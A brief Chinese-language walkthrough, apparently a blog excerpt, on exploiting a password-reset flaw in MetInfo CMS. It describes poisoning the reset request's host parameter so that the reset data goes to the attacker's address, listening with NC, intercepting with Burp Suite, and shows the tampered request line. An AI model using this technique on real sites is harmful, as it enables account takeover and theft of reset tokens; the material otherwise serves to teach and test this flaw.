密碼重置漏洞利用

密碼重置漏洞 密碼重置漏洞通常都是重置過程驗證不嚴造成的，我們可以利用這個機制篡改他的密碼重置ip地址更改爲我們的地址，而後通過「NC」進行監聽，獲取我們想要的數據 進入監聽狀態，需要注意的是要注意自己的端口是否衝突，如果衝突需要更改端口號，同時使用burpsuite進行攔截 POST /MetInfo/admin/admin/getpassword.php?met_host=10.10.87.2

>>阅读原文<<